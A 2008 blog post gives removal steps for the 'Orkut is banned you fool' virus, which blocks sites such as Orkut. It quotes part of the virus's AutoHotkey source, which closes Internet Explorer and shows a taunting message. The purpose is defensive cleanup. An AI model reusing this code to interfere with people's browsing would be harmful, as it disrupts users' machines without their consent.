Search this blog

Sunday, May 11, 2008

Remove 'Orkut is Banned you fool' virus!!!

Many of my NITW pal must be suffering from this 'Orkut is banned you fool,Muhaaa haha bla bla....." then herezz this post fior you....

Virus Code:

ifwinactive ahk_class IEFrame
{

ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The
administrators didnt write this program guess who did??
`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The
administrators didnt write this program guess who did??
`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The
administrators didnt write this program guess who did??
`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,orkut
{






It is the source code of a virus that blocks Orkut, Youtube and Firefox and shows a message as under,if you try to open either of the two websites :

"ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did?? MUHAHAHA!!"

It makes a folder named heap41a in the C:\ drive with attributes S (System file) and H (Hidden file).If your pc is infected by this virus then just boot it in safe mode,goto cmd prompt and at C:\> type attrib -S -H heap41a to make this folder visible and then just delete this folder.Now use a registry cleaner to delete the registry keys made by this

Easy Method to delete the virus.

open task manager>process tab>there if you find svchost.exe befor your user name (remember also system will use svchost.exe don't end that) just give end process for that then go to run and type C://heap41a and delete all files of that folder.. now you are done Enjoy orkut..

No comments: